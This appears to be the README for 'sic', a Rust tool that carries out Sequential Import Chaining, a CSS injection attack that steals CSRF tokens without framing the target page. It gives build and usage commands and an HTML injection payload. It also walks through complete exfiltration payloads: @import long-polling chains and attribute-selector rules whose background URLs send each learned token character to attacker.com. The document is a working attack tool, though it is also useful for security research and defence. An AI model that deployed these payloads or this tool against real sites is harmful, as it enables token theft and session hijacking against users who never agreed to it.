Typical CSS injection requires an attacker to load the context a number of times to exfiltrate sensitive tokens from a page. Usually the vector for this is via iframing which isn't always possible, especially if the target is using x-frame-options: deny or x-frame-options: sameorigin. This can be further complicated if the victim needs to interact with the target to trigger the injection (perhaps due to dynamic behavior on the page).

Sequential import chaining is a technique that enable a quicker, easier, token exfiltration even in the cases where framing isn't possible or the dynamic context is only occasionally realized.

I wrote a blog post on this. Read about it here!

This attack only works if the attacker at least one of these:

• Style tag injection (HTML injection, for example)
• Control of CSS at the top of a style tag.

The first case is probably more likely and will work even if filtered through vanilla DOM Purify.

1. Install RustUp (https://rustup.rs/ - curl https://sh.rustup.rs -sSf | sh)
2. Install the nightly (rustup install nightly)
3. Default to nightly (rustup default nightly)
4. Build with cargo (cargo build --release)

You will find the built binary at ./target/release/sic

sic has documentation on the available flags when calling sic -h but the following is information for general usage.

• -p will set the lower port that sic will operate on. By default this is 3000. sic will also listen on port port + 1 (by default 3001) to circumvent a technical limitation in most browsers regarding open connection limits.
• --ph sets the hostname that the "polling host" will operate on. This can either be the lower or higher operating port, though it's traditionally the lower port. Defaults to http://localhost:3000. This must be different than --ch
• --ch similar to --ph but this sets the "callback host" where tokens are sent. Defaults to http://localhost:3001. This must be different than --ph.
• -t specifies the template file used to generate the token exfiltration payloads.
• --charset specifies the set of characters that may exist in the target token. Defaults to alphanumerics (abc...890).

A standard usage of this tool may look like the following:

./sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t my_template_file

And the HTML injection payload you might use would look like:

<style>@import url(http://localhost:3000/staging?len=32);</style>

The len parameter specifies how long the token is. This is necessary for sic to generate the appropriate number of /polling responses. If unknown, it's safe to use a value higher than the total number of chars in the token.

sic will print minimal logs whenever it receives any token information; however, if you want more detailed information advanced logging is supported through an environment variable RUST_LOG.

RUST_LOG=info ./sic -t my_template_file

The templating system is very straightforward for sic. There are two actual templates (probably better understood as 'placeholders'):

• {{:token:}} - This is the current token that we're attempting to test for. This would be the xyz in input[name=csrf][value^=xyz]{...}
• {{:callback:}} - This is the address that you want the browser to reach out to when a token is determined. This will be the callback host (--ch). All the information sic needs to understand what happened client-side will be in this url.

An example template file might look like this:

input[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); }

sic will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls.

HTTPS is not directly support via sic; however, it's possible to use a tool like nginx to set up a reverse proxy in front of sic. An example configuration is found in the example nginx config file thoughtfully crafted up by nbk_2000.

After nginx is configured, you would run sic using a command similar to the following:

./sic -p 3000 --ph "https://a.attacker.com" --ch "https://b.attacker.com" -t template_file

Note that the ports on --ph and --ch match up with the ports nginx is serving and not sic.

For a better story and additional information, please see my blog post on Sequential Import Chaining here.

The idea behind CSS injection token exfiltration is simple: You need the browser to evaluate your malicious css once, send an outbound request with the next learned token, and repeat.

Obviously the "repeat" part is normally done using a full frame reload (iframing, or tabs... blah).

However, we don't actually need to reload the frame to get the browser to reevaluate new CSS.

Sequential Import Chaining uses 3 easy steps to trick some browser into performing multiple evaluations:

1. Inject an @import rule to the staging payload
2. Staging payload uses @import to begin long-polling for malicious payloads
3. Payloads cause browser to call out using background-img: url(...) causing the next long-polled @import rule to be generated and returned to the browser.

Here's an example of what these might look like:

<style>@import url(http://attacker.com/staging?len=32);</style>

@import url(http://attacker.com/lp?len=0);
@import url(http://attacker.com/lp?len=1);
@import url(http://attacker.com/lp?len=2);
...
@import url(http://attacker.com/lp?len=31); // in the case of a 32 char long token

This is a unique, configurable template in sic because this part is very context specific to the vulnerable application.

input[name=xsrf][value^=a] { background: url(http://attacker.com/exfil?t=a); }
input[name=xsrf][value^=b] { background: url(http://attacker.com/exfil?t=b); }
input[name=xsrf][value^=c] { background: url(http://attacker.com/exfil?t=c); }
...
input[name=xsrf][value^=Z] { background: url(http://attacker.com/exfil?t=Z); }

After the browser calls out to http://attacker.com/exfil?t=<first char of token>, sic records the token, generate the next long-polled payload, and return a response for http://attacaker.com/lp?len=1.

input[name=xsrf][value^=sa] { background: url(http://attacker.com/exfil?t=sa); }
input[name=xsrf][value^=sb] { background: url(http://attacker.com/exfil?t=sb); }
input[name=xsrf][value^=sc] { background: url(http://attacker.com/exfil?t=sc); }
...
input[name=xsrf][value^=sZ] { background: url(http://attacker.com/exfil?t=sZ); }

This repeats until no more long-polled connections are open.

Shoutout to the following hackers for help in one way or another.

• 0xacb
• cache-money
• Shubs
• Sean
• Ruby
• vila
• nbk_2000